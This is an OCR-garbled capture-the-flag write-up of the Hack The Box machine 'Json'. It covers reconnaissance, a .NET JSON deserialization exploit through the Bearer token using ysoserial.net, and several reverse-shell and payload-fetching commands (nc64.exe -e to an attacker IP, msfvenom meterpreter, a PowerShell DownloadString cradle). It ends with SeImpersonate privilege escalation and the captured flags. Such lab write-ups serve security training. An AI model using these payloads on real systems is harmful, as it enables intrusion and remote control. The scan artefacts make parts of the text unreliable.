iy
) Bm Windows © 30 # 1179 £
/4

InfoGathering

Nmap scan report for json.htb

(10.10.10.158)

Host is up (0.14s latency).

Not shown: 988 closed ports

PORT  STATE SERVICE  VERSION

21/tcp open ftp FileZilla ftpd

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

80/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-115/8.5

|_http-title: Json HTB

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open msrpc Microsoft Windows

RPC

49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows

RPC

49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC

5985/tcp open wsman
FTP has no anonymous access
SMB does no allow Guest enumeration of shares

FUZZ RESULTS

css [Status: 403, Size: 1233, Words: 73, Lines: 30]

files [Status: 403, Size: 1233, Words: 73, Lines: 30]
index.html [Status: 200, Size: 40156, Words: 18550, Lines: 685]
img [Status: 403, Size: 1233, Words: 73, Lines: 30]

js [Status: 403, Size: 1233, Words: 73, Lines: 30]

views [Status: 403, Size: 1233, Words: 73, Lines: 30]

LOGIN PAGE

http://json.htb/login.html
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Hack The E

PEN-TESTING L

admin:admin credential guess logs us into the web page

User Admin HTB 0

Generate Report

Dashtourd

$40,000 $215,000

Welcome Back!




BURP ANAYLSIS

~ http://json.htb

0/
[ 404.html
Y[ api
v | Account
S /
v {2 token
5 {"UserName":"admin","Password":"admin"}
[ blank.html
[) buttons.html
[) cards.html
[ charts.html
B css
[ forgot-password.html
Y[ img
|0 undraw_posting_photo.svg
[ index.html
M
[s) angular-cookies.js
[s) angular.min.js
[s) app.min.js
B demo
[ login.html
[ register.html
tables.html
utilities-animation.html
utilities-border.html
utilities-color.html
utilities-other.html
v [T vendor
» [0 bootstrap
B chartjs
v [T fontawesome-free
Bl css
B jquery
B jquery-easing

CODEHE

3/17



Gaining Access

In looking over the Burpsuite resiults there is a OAuth2.0 bearer token created after we login

http://json.htb.api/token/
REQUEST

H Response |
_H Params Tl-loadors Tl-lox ]

POST /api/token HTTP/1.1

Host: json.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://json.htb/login.html
Content-Type: application/json;charset=utf-8
Content-Length: 39

DNT: 1

Connection: close

{"UserName":"admin", "Password":"admin"}

RESPONSE

|aequm H
[ Raw | Headers | Hex |

HTTP/1.1 202 Accepted

Cache-Control: no-cache

Pragma: no-cache

Expires: -1

Server: Microsoft-IIS/8.8

X-Asplet-Version: 4.0.30319

Set-Cookie;
OAULh2=5eyJJZCIGMSWiVENLCKShbWULOLThZGlpbiIsI1Bhe3NIbIJKIJ oM EyMzInM Ik 3IYTUIYTVhNZQZzODKOYTBINGE4AMDFmY2ZMiL
CJOYW11IjoiVXN1ciBBZGlpbiBIVEILILCISb2wiOiJBZGlpbml zdHIhAGIYINO=; expires=Fri, 13-Dec-2019 20:53:10 GMT;
path=/

X-Powered-By: ASP.NET

Date: ¥Fri, 13 Dec 2019 20:51:10 GMT

Connection: close

Content-Length: 0

http://json.htb/api/Account/
REQUEST
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7]Nuunstlﬂeﬂmuso}

JRaw l Params | Headers | Hex |

GET /api/Account/ HTTP/1.1

Host: json.htl

User-Agent: Mozilla/5.0 (X11; Linux XB6_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;g=

Accept-E iing: gzip, deflate

Refere Lp on.htt a X

Beare:

eyJ XNIckShbWUi0i1JhZIG1E Bho3N3biJdkiIjoiM] EyNzImM I k3YTUIYTVRNZQZzODKOYTEBINGEANDFmYZMI LCJOYW1 ]

IBZGlpbiBIVEIILCISb2wi10 1ZGlpbml zdHJhdGSyInO=

Connecti 108

C xie;

OAuth2= . ¥ . .
YWill k b2 ™ h _

RESPONSE

. - -

l Request | Response ]

[Raw] Headers I Hex ]

HTTP/1.1 200 OX

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-3

Expires: 1

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 13 Dec 2019 20:51:13 GMI

Connection: close

Content-Length: 119

[{*Id":1,"UserName": "admin", "Password":"21232£297a57a5a743894a0e4a801£fc3", "Name" : "User Admin
HTB", "Rol":"Administrator”}

Bearer tokens are the predominant token used with OAuth2.0.

Having a Bearer token means “Give the bearer of this token access”

They are usually some opaque value and it is not random. It is based on the user giving the application access to
the authentication server. The web application has been given permission to access resources on the server.

In order to access the APl an Access Token is needed. Access tokens are usually only good for an hour sometimes
less. You use the bearer token to get a new Access token. To get an access token you send the Authentication
server a bearer token along with your Client ID. This tells the server that the application using the Bearer token is
the same application the bearer token was created for.

"Id":1,"UserName":"admin", "Password":"21232f297a57a5a743894a0e4a801fc3", "Name":"User Admin
HTB","Rol":"Administrator"

NOTE: If you were to decode the Base64 value for the Bearer token or OAuth token above you would obtain the
above string containing a user “admin”'s password.

A JSON format is being returned. We are going to change a couple values and see what happens.
Base64 encode the below string and send it to the applicaiton using Burp by replacing the value of the Bearer
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token with it.
-n '{"Id":Test,"UserName":"admin", "Password":"21232f297a57a5a743894a0e4a801fc3", "Name" :"User Admin

HTB","Rol":"Administrator"}' | base64

# RESULT
eyJJZCI6VGVzdCwiVXN1ck5hbWUi01iJhZG1lpbiIsI1Bhc3N3b3JIkIjoiMjEyMzImMjk3YTU3YTVhNzQzODKkOYTBINGE4AMDFmYZzMiLCIOYW

11IjoiVXN1lciBBZG1lpbiBIVEIiLCISb2wi0iJBZG1lpbmlzdHIhdG9yInO=

Replacing the value of the Bearer token in the request with this value and sending it in Burp tells us we
communicated with a deserialization function. Deserialization takes data structured from some format, and
rebuilds it into an object.

IR:- [ Params 1 Headers iHex Iﬂawl Headers | Hex

T

Because the application may be unsafely deserializing this data, the chain will automatically be invoked and
cause the command to be executed on the application host. We can try to exploit this using ysoserial

RESOURCE: https://github.com/pwntester/ysoserial.net

A .NET Framework is being used which means we need to used the Windwos .exe version of this tool
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.\ysoserial.exe -g WindowsIdentity -f Json.Net -o base64 -c “net use t
\\10.10.14.21\MyShare”

# RESULTS
ewogICAgICAgICAgICAgGICAgICAQICckdHIwZSc6ICdTeXNOZWOuU2VjdXIpdHkuUHIpbmNpcGFsLldpbmRvd3NIZGVudGlOeSwgbXNjb3
JsaWIsIFZ1lcnNpb249NC4wLjAuMCwgQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1NjE5MzR1IMDg5]ywKICAgICAg
ICAgICAgQICAgICAQICANU31zdGVtLINTY3VyaXR5LKNsYWltcOlkZW50aXR5LmIvb3RzdHIhcENvbnR1eHQNOiAnQUFFQUFBRC8vLY8vQV
FBQUFBQUFBQUFNQWdBQUFFbFRIWE4wW1cwcO1GWmxjbk5wY j IO0USDNHdMakF1TUN3Z1EzVnNkSFZ5W1QxdVpYVjBjbUZzTENCUWRXSnNh
VO5MWLhsVWIydGxiajFpTnpkaESXTTF0akU1TXpSbE1EZZzVCUUVBQUFDRUFWTjVjiM1IsY1IM1RGIyeHNaVO4wYVc5dWN5NUhaVzVsY21sak
xsTnZjb1JsWkZObGRHQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJgMDBMakF1TUMOdOXDQKRkV3gw
ZFhKbFBXNWxKWFJ5WVd3c01GQj FZbXhwWTBObGYVWUNZhM1Z1UFdIMO4yRTFZelUyTVRrek5HVXdPRGXKWFFRQUFBQUZRM] kxYm5RSVEY0X
RjROZ5WLhISFZtVn1jMmx2YmdWSmRHVNRjdOFEQUFZSWpRRIRIWE4wWWlcwdVEYOXNiR1ZgZEdsdmJuTXVSM1Z1WLhKcF15NURiMj F3WVhK
cGMyOXVRM]j 10Y0dGeVpYSmdNVNRiVTNsemRHVNRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNIR1psY250cGIyND10QzR3TGpBdU1Dd2dRM1
ZzZEhWeVpUMXVaWFYwY21GcOxDQLFkVOpzYVAOTFpYbFViMnRsYmoxaU56ZGhOVOOxTmpFNU16UMXNRGc IWFYwSUFnQUFBQU1BQUFBSKF3
QUFBQU1BQUFBSkJBQUFBQVFEQUFBQWpRRIRTWE4wWlcwdVEYOXNiR1ZqZEdsdmJuTXVSM1Z1IWLhKcF15NURiMj F3WVhKcGMyOXVRM]j 1OYO
dGeVpYSmdNVNRiVTNsemRHVNRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNIR1psY250cGIyND10QzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVa
WFYwY21GcOxDQLFkVOpzYVdOTFpYbFViMnRsYmoxaU56ZGh0OVOOxTmpFNU16UmXNRGc1WFYwQkFBQUFDMT1qYjIxd11YSnBjMj 11QX1KVG
VYTjBaVzB1lUkdWc1pXZGhkR1ZUWlhKcF1XeHBlbUYwYVc5dVNHOXNaR1Z5Q1FVQUFBQVJICQUFBQUFJQUFBQUACZOFBQUNNd115QnVaWFFn
ZFhObELIUTZJRnhjTVRBAULUQXVNVFF1TWpGY1RYbFRhROZ5WIFZSEFBQUFBMk50WKkFRRkFBQUFJbE41YzNSbGITNUVaV3hsWjJGMFpWTm
xjbWxoYkdsN11YUnBiMjVJYjJ4alpYSURBQUFBQOVSbGIHVM5ZWFIsQj IxbGRHaHZaREFIY1dWMGFHOWtNUU1EQXpCVGVYTjBaVzB1UkdW
c1pXZGhkR1ZUWlhKcF1XeHB1bUYwYVc5dVNHOXNaR1Z5SzBSbGIHVmM5ZWFJIsUT1c1MGNua3ZVM2x6ZEdWdExsSmxabXhsWTNScGIyNHVUV1
ZOWW1WeVNXNW1iMU5sY21saGIHbDZZWFIwYjI1SWIyeGtaWEL2VTNsemRHVNRMbEpsWm14bFkzUnBiMjR1VFAWAF1tVnlTVzVtYjFObGNt
bGhiR2w2WVhScGIyNUTiMnhrWlhJSKNBQUFBQWtKQUFBQUNRbOFBQUFFQOFBQUFEQLRIWE4wWWlcwdVIHVNNaV2RoZEAWVFpYSnBZV3hwZW
1GMGFXOXVTRz1zWkdWeUswUmxiR1ZuWVhSbFIXNTBjbmtIQUFBQUJIIUjVjR1VIWVhOe lpXMW1iSGtHZEdGeVoyVjBFb1JoY21kbGRGUjVj
R1ZCYzNObGIXSnNTUTUWWVhKb1pYUTVIWEIsVG1GdFpRcHRaWFJIvYjJIST1IIXMWXEV1IsYkdWb11YUmxSVzUwY25rQkFRSUJBUUVETUZONW
MzUmxiUzVFWld4bFoyRjBaVk5sY21saGIHbDZZWFIwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVRWUXBQUFBCcOFKVGVYT]jBaVzB1l
Um5WdVKyQXpXMXRUZVhOMFpXMHVVM135YVc1lbkxDQnRjMk52Y214cFlpd2dwWbVZ5YzJsdmJgMDBMakF1TUMOdOXxDQKRkV3gwZFhKbFBXNW
xKWFJI5WVd3c01GQjFZbXhwWTBObGYWUNZhM1Z1UFdIMO4yRTFZelUyTVRrek5HVXdPRGXKTEZOVGVYTjBaVzB1VTNSeWFXNW5MQ0J0YzJ0
dmNteHBZaXdnVm1WeWMybHZiajAwTGpBdU1DNHAMQOJEZFd4MGRYSmxQVzVsZFhSeVIXd3NIRKIXWW14cFkwdGx1V1J2YTIWdVBXSTNOMk
UxWXpVMk1Ua3pOR1V3TORSZEXGAFRIWE4wWl cwdVIHbGhaMjV2YzNScFkzTXVVSEp2WTIWemN5d2dVM2x6ZEdWdExDQldaWEp6YVc5dVBU
UXVNQzR3TGpBCOUFTjFiSFIXY21VOWItV]jFkSEpoYKN3Z1VIVmliR2xqUzIWNVZHOXJaVzQ5WWpjM11UVmpOVF14T1RNMFpUQTRPV ] FkQm
d3QUFBQkxiWE5qYjNKc2FXSXNJR1psY250cGIyND10QzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21GcOxDQLFkVOpzYVdOTFpYbFVi
MnRsYmoxal56ZGhOVOOXTmpFNU16UmxNRGCc1Q2dZTkFBQUFTVK41YzNSbGITd2dWbVZ5YzJsdmJgMDBMakF1TUMOdOXDQkRkV3gwZFhKbF
BXNWxKWFJ5WVd3c01GQj FZbXhwWTBObGVYWUNZhM1Z1UFdIMO4yRTFZelUyTVRrek5HVXdPRGtHRGABQUFCcFRIWE4wWl cwdVIHbGhaMjV2
YzNScFkzTXVVSEp2WTJWemN3WVBBQUFBQLZOMF1YSjBDUKFBQUFBRUNRQUFBQzLUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSk
pibVp2VTIWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2djQUFBQUVUbUZOWLF4QmMzTmxiVOpzZVU1laGIXVUpRMnhoYzNOT1TXMWxDVk5wWjI1
aGRIVNn1laUXBUYVdkdV1YUjFjbVV5Q2sxbGIXSmxjbFI1YQdVUVIyVnVaWEpwWTBGeVozVnRaVzUwY3dFQkFRRUIBQU1JRFZONWMzUmxiUz
VVZVhCbFcxMEpEdOFBQUF rTkFBQUFDUTRBQUFBROZBQUFBRDVUZVhOMFpXMHVSR2x0Wj I1dmMzUnBZMO11VUhKdlkyVnpjeUJUZEdGeWRD
aFRIWE4wWlcwdVUzUnT1hVzVUTENCVGVYTjBaVzB1VTNSeWFXNW5LUVIWQUFBQVBsTjVjM1IsYIM1IRWFXRm5ibT16ZEdsamNSNVFjbTlgWl
h0eklGTjBZWEowSOZONWMzUmxiUzVUZEhKcGItY3NJIRk41YzNSbGITNVRKSEpwYm1j cENBQUFBQW9CQ2dBQUFBa®@FBQUFHRmdBQUFBZER1
Mj F3WVhKbENRAOFBQUFHROFBQUFBMVRIWE4wWl cwdVUzUn1hVzVuQmh rQUFBQXJTVzUwTXpJZ1EyOXRjROZ5WINoVGVYTjBaVzB1VTNSeW
FXNW5MQOJUZVhOMFpXMHVVM1J5YVc1bktRWWFBQUFBTWXONWMZzUmxiUzVKYm5Rek 1pQkRiMj F3WVhKbEtGTjVjM1IsYIM1VGRISnBibWNz
SUZONWMzUmxiUzVUZEhKcGJtY3BDQUFBQUFvQkVBQUFBQWdBQUFBROA3QUFBSEZUZVhOMFpXMHVRM] 1OYOdGeWFYTnZibUF4VzFOVGVYT]
BaVzB1VTNSeWFXNW5MQ0J0YzJ0dmNteHBZaXdnVmlWeWMybHZiajAwTGpBdU1DNHAMQOJEZFd4MGRYSmxQVzVsZFhSeVIXd3NJRKIxWw14
CFkwdGx1V1J2YTIWdVBXSTNOMKUXWXpVMk1Ua3pOR1V3TORsZFhRa®1BQUFBQ2d rTUFBQUFDUMdBQUFBSkZnQUFBQWOMIwogICAgICAQIC
AgICAgICAgfQ==

7/17



Json.

ICdTeXNOZ

The above will generate a base64 payload we can place into the Bearer header at http://json.htb/api/Account. We
need to start an smbserver on our attack machine and send the malicious Bearer Token value to the target.

# On attack machine start an impacket smb server in the location of the
opt/ActiveDirectory/impacket/examples/smbserver.py -smb2support MyShare /root/HTB/Boxes/JSON

Place base64 generated into Burp value Bearer Token
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Request

Host: json.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://json.htb/index.html

Bearer:
ewogICAgGICAgQICAGICAGICAgGICAGICCkAHIWZSc6ICATeXNOZWOuU2VjdXJpdHkuUHIpbmNpcG
FsLldpbmRvd3NJZGVudGl0eSwgbXNib3JsaWIsIFZ1lcnNpb249NC4wL ) AuMCwgQ3VsdHVYZT1u
ZXV0cmFsLCBQAWIsaWNLZX1Ub2t1bj1iNzdhNWMINFESMzRIMDgSJywKICAgICAgGICAGICAgIC
AgICAGICANU31zdGVELINIYIVYyaXRSLkNsYWItcO1lkZNSO0aXRSLnJvbiIRzAHINCENVDRR]1 eHON
OiAnQUFFQUFBRCSVLyS8vQVFBQUFBQUFBQUFNQWABQUFFbFRIWE4WW1lcwc01GHmxjbkSwY§ I00U
SDNHAMakFI1TUN3IZ1EzVnNkSFZSW1QxdVpYViBibUZzTENCUNRXSNNhVOSMWLlhsVWIydGxiajFp
TnpkaESXTTFOakUITXpSbE1EZzVCUUVBQUFDRUFWTIVIM1JsYIMIRGIyeHNaVO4wYVCSAWNSNU
haVzVsY21sakxsTnZjblJsWkZObGRHQXhXMXRUZVhOMFpXMHVVM1JS5YVclbkxDQnRjMk52Y214
cFlpd2dWbVZ5YzJsdnJgMDBMakF 1TUMOAOXDQKRKVIgwZFhKbFBXNWXKWFISWVA3c01GQj FZbX
hwiWTBObGVWUNRZhM1Z1UFAIJMO4yRTFZelUyTVRrekSHVXAPRGXKWFFRQUFBQUZRMj kxYmSRSVEy
OXRIROZSWIhJSFZtVnl jMmx2 YmAWSmRHVARjA0FEQUFZSWPRRIRIWE4AWW1 cwdVEYOXNiR1ZQZE
dsdmJuTXVSM1ZIW1hKcF15NURIM] FIWVhXKcGMyOXVRM] 10Y0dGeVpYSmANVNRiVTNsenRHVNRM
DE4wY21sdVpS5d2diWESQYINKCc2FXSXNIJRIpsY250cGIyYND1IOQzR3ITGpBAUIDA2dRM1ZzZEhWeV
pUMXVaWFYwY21GcOxDQ1FkVOpzYVAOTFpYbFViMnRsYmoxaUS6ZGhOVOOxTmpFNU16UnxNRGel
WFYwSUFnQUFBQU1BQUFBSkF3QUFBQU1BQUFBSkJBQUFBQVFEQUFBOWPRRIRIWE4WW1 cwdVEYOX
NiR1ZQZEdsdmJuTXVSM1Z1W1lhKcF15NURiMjF3IWVhEKcGMyOXVRM]10Y04dGeVpYSmdNVnRiVTNs
enmRHVNRMbE4WY21sdVpSd2diWESQYINKC2FXSXNIR1psY250cGIyND10OQzRITGpBAUIDA2dARM]
ZzZEhWeVpUMXVaWFYwY21Gc0xDQ1FkVOpzYVAOTFpYbFViMnRsYmoxaUS6 ZGhOV0OxTmpFNU16
UnxNRGCIWFYWQKkFBQUFDMT1qY i Ixd11YSnBiMi11QX1KVGVYTiBaVzBlUkdWc1pXZGhkR1ZUNL
hKcF1XeHB1bUYwYVcSAVNHOXNaAR1ZS5Q1FVQUFBQVJICQUFBQUFJQUFBQUACZOFBQUNNAL150nVa
WFFNZFhObELIUTZJRnhj TVRBAULUQXVNVFFITWPGY 1RYDFRhROZSW1IFZSEFBQUFBMkS 0OWk FRRk
FBQUFJDE41YzNSbGIJTNUVaV3ihsWi JGMFpWTmx jbWxoYkdsN11YUnBiMjVIY]J4alpYSURBQUFB
QOVSbGJHVMS ZWFJsQj IxbGRHaHZAREFIY1dWMGFHOWENUU1EQXpCVGVYTjBaVzB1UkdWclpXZG
hkR1ZUWIhKcFlXeHBlbUYwWYVcSAVNHOXNaARLIZSSzBSbGIHVMSZWFIsUlc1MGNuUa3ZVM2x6 ZEAW
dExsSmxabXhsWTNScGIyNHVUVIZOWW1WeVNXNW1iMUSsY215aGJHDDZZWFIwYj I1SWIyeGtanwE
12VTNsenRHVARMDEpsWml14bFkzUnBiMiRIVFAWAF1tValTVZVELY I FODGNEtbGhiR2W2WVhScGIy
NULIiMnhrWlhJISkNBQUFBOWEXQUFBQUNRDLOFBQUFFQOFBQUFEQIRIWE4wWWl cwdVIHVNNAV2ROZE
dWVFpYSnBZV3IhwZW1GMGFXOXVTRz1zWkdWeUswUmxiR1ZuWVhSbFJIXNTBjbmt IQUFBQUJIUj V)
RI1VIWVhOelpXMW1iSGLtHZEAGeVoyViBFblJoY21kbGRGUjViR1ZCYZNODGIXSnN1UTUWWVhKD]
pPYULVIWEISVGIGAFpRCHRaAWFJIVYJJIST11XMWXEV1JsYkdWDb1 1 YUmxSVzZUwY25rQk FRSUJBUUVE
TUZONWMzUmxiUzVFW1ld4bFoyRijBaVk5sY218aGJIJHbDZZWFIwYj I1SWIyeGtaWElyUkdWclpXZG
hkR1ZGYmSSeWVRWUXBQUFBCOFKVGVYTiBaVzBlUmSWAVKkYyQXpXMXRUZVhOMFpXMHVVM1JS5YVel
bkxDOnNRIMk52Y214cFlpd2dWbVZsYzJIsdnIJgMDBEMakF1TUMOA0XxDQkRkVIgQWZFhKbFBXNWXKWF
JSWVA3Ic01GQi FZbXhwiWTBODGVIWURZRMI Z1UFAIMO4 YRTFZelUyTVRrek SHVXAPRGXKTEZOVGVY
TjBaVzB1lVTNSeNFXNWSMQ0J0YzJOdmNteHBZaXdnVmlWeWMybHZ 1 a § AWTGpBAU1DNHAMQOJEZF
d4MGRYSmxQVzVsZFhSeVIXd3INIRkIXWW14 cFkwdGx1V1J2YTIWAVBXSTNOMkUXWXpVMk1Ua3p0
R1V3ITORSZEXGAFRIWE4wWlcwdVIHbGhaMjV2YzZNScFKzTXVVSEp2WTIWenNSd2dVM2x6 ZEAWAE
xDQ1daWEp6 YVcSAVBUUXVNQzZR3ITGpBCcO1PTjFiSFIXY21VOWItVjFkSEpoYkN3Z1VIVRliR2xg
UzJWNVZHOXJaVzQSWpiM11UVmpOVF14T1IRNMFpUQTRPV] FkQmd3QUFBQkXiWESQYINKC2FXSX
NIRINeY250-GTYNNI ONZR ITANRAIII NA2ARMI Z2 ZFhWaVnl IMXVANFYWY 2 1 G0N0 FkVOnz YVAN
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Click Send in Burp and check our SMB Servers output. We have a hit!
This now tells us the users name is userpool
NOTE: Responder can also be used to capture this hash

| became stuck here for a while. | was able to upload files to the machine however | was not able to obtain a
reverse shell. A few things became clear during my failed attempts. PowerShell does not seem to be available to
me which leaves me with the Command Prompt only. AV must be catching my msfvenom payloads. | can upload
files to the box using SMB and HTTP. Executing nc.exe seemed to fail. | tried ncat after that to see if it would
make a difference. That gave me a connection however the shell would fail to complete its execution. It turns out
that | could not access PowerShell at all. | kept trying for it because PowerShell is my bread and butter. | am the
guy who writes PowerShell reverse shells.

| downloaded nc64.exe

# Generate Payload on WIndows Machine
.\ysoserial.exe -g WindowsIdentity -f Json.Net -o base64 -c

| then executed the reverse shell

# Generate payload to execute reverse shell on Windows Machine
.\ysoserial.exe -g WindowsIdentity -f Json.Net -o base64 -c

# Start netcat listener on Attack machine
nc -lvnp 8089

# Execute payload by placing ysoserial result in Bearer token value in Burp and click sendS

| placed the above base64 results into the bearer token value in Burp and clicked send

That gave use user flag

C:\Users\userpool\Desktop\user.txt
34459a01f50050dc410db09bTb9f52bb
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1\ De Ktop)

410dbO9bTb9152b

rpo

USER FLAG: 34459a01f50050dc410db09bfb9f52bb

PrivEsc

The shell seemed a little slow. | am going to see if a meterpreter improves the speed.

# 0On attack machine start a Metasploit listener
msfconsole
use exploit/multi/handler
payload windows/x64/meterpreter/reverse tcp
LHOST 10.10.14.21
LPORT 8081
run

# On target machine in slow shell
C:\Windows\Temp\nc64.exe -e powershell 10.10.14.21 8081

# Now that we have a Metasploit session we can try to upgrade it.

# Get the sessions ID number
sessions -1

# RESULTS

Active sessions

Id Name Type

Information Connection
1 shell x64/windows Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All
righ... 10.10.14.21:8081 -> 10.10.10.158:49414 (10.10.10.158

# Upgrade to Meterpreter
sessions -u 1

As a side not this did not work on the first attempt. | had to run the command a couple times before | upgraded
the shell
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Running some initial enum | discovered userpool has impersonate priviledges
priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled

| found a great PowerShell module to use for this permission
REOSURCE: https://github.com/TsukiCTF/Lovely-Potato

# Edit the script and edit the variables below
vi Invoke-LovelyPotato.psl

$RemoteDir =

$LocalPath =

# Configuration
$RemoteDir = "http://10.10.14.21"

$LocalPath = "c:\windows\temp"
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# Create a Meterpreter Binary on attack machine. Make life easier by naming the file meterpreter.exe
msfvenom -p windows/meterpreter/reverse tcp LHOST=10.10.14.21 LPORT=8084 -f exe -0 meterpreter.exe

# Copy needed files to HTTP Server Directory
Invoke-LovelyPotato.psl /root/HTB/Boxes/JSON
test clsid.bat /root/HTB/Boxes/JSON

# In multi/handler set LPORT value to 8084 to cartch above shell and set payload
LPORT 8084

payload windows/meterpreter/reverse tcp

# Host HTTP Server on attack machine
python3 -m http.server 80

- # python3 http.server 860

python3: can't open file "http.server’': [Errno 2] No such file or directory
: # python3 -m http.server 80

Serving HTTP on 6.0.0.0 port 80 (http://6.0.0.0:80/)

10.10.10.158 [14/Dec/2019 12:04:59] "GET /Invoke-LovelyPotato.psl HTTP/1.1" 200
10.10.10.158 - - [14/Dec/2019 12:05:04) "GET /test clsid.bat HTTP/1.1" 200
10.10.10.158 - - [14/Dec/2019 12:05:04] "GET /meterpreter.exe HTTP/1.1" 200

# Execute it to gain shell. Since PowerShell fails to open I am going to open it and issue a command
simultaneously. Once this command is executed it takes about 10 minutes to gain a reverse shell as System.
powershell IEX(New-Object Net.WebClient).DownloadString
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I misspelled the admin user in the picture. This command is the right way

C:\Users\superadmin\Desktop\root.txt
3cc85d1bed2ee84af4074101b991d441




C:\Users\superadmin\Desktop>type root.txt
type root.TtXt
3cc85dlbed2ee84af40/74101b991d441

ROOT FLAG: 3cc85d1bed2ee84af4074101b991d441

PrivEsc2

During basic enumeration | discovered there is another port listening that was not and would not show in my
nmap scan at 127.0.0.1:14147
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netstat -ano

# RESULTS

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 784
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 556
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 376
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 708
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 732
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 512
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 460
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 1712
TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 468
TCP 10.10.10.158:139 0.0.0.0:0 LISTENING 4
TCP 10.10.10.158:49337 10.10.14.21:8088 ESTABLISHED 1408
TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 784
TCP [::]:21 [::1:0 LISTENING 784
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 556
TCP [::]1:445 [::]1:0 LISTENING 4
TCP [::1:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]1:49152 [::]1:0 LISTENING 376
TCP [::]1:49153 [::]:0 LISTENING 708
TCP [::]1:49154 [::]:0 LISTENING 732
TCP [::]1:49155 [::]1:0 LISTENING 512
TCP [::]:49156 [::]:0 LISTENING 460
TCP [::]:49157 [::]:0 LISTENING 1712
TCP [::]1:49158 [::]1:0 LISTENING 468

This port is only available from the local machine. | am going to set up a port forward through Meterpreter so |
can access the port remotely.

# Get Meterpreter session id number
sessions -1

# Open your meterter session
sessions -i 3

# In Meterpreter shell
portfwd add -1 14147 -p 14147 -r 127.0.0.1

| next connected to the service
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nc 127.0.0.1 14147
# RESULTS

FzS® @~You appear to be behind a NAT router. Please configure the passive mode settings and forward a
range of ports in your router.DWarning: FTP over TLS is not enabled, users cannot securely log in.

This appears to be another FTP server on the machine. Lets connect to it. FileZilla is my personal favorite client

for FTP. Make sure you dont install whatever excess nonsense applications they try to squeeze in there. Gotta
make a living right

RESOURCE: https://filezilla-project.org/
# After downloading the file you can unpack it
xjvf FileZilla 3.46.0 x86 64-linux-gnu.tar.bz2 -C /opt

# Apt installs it as well
apt filezilla

Use the FileZilla client on a Windows device hosting you Kali VM connect to your kali machine
she
Once connected create a new user account with read and write access to the C:\ drive and download the root.txt

file
ROOT FLAG: 3cc85dlbed2ee84af4074101b991d441
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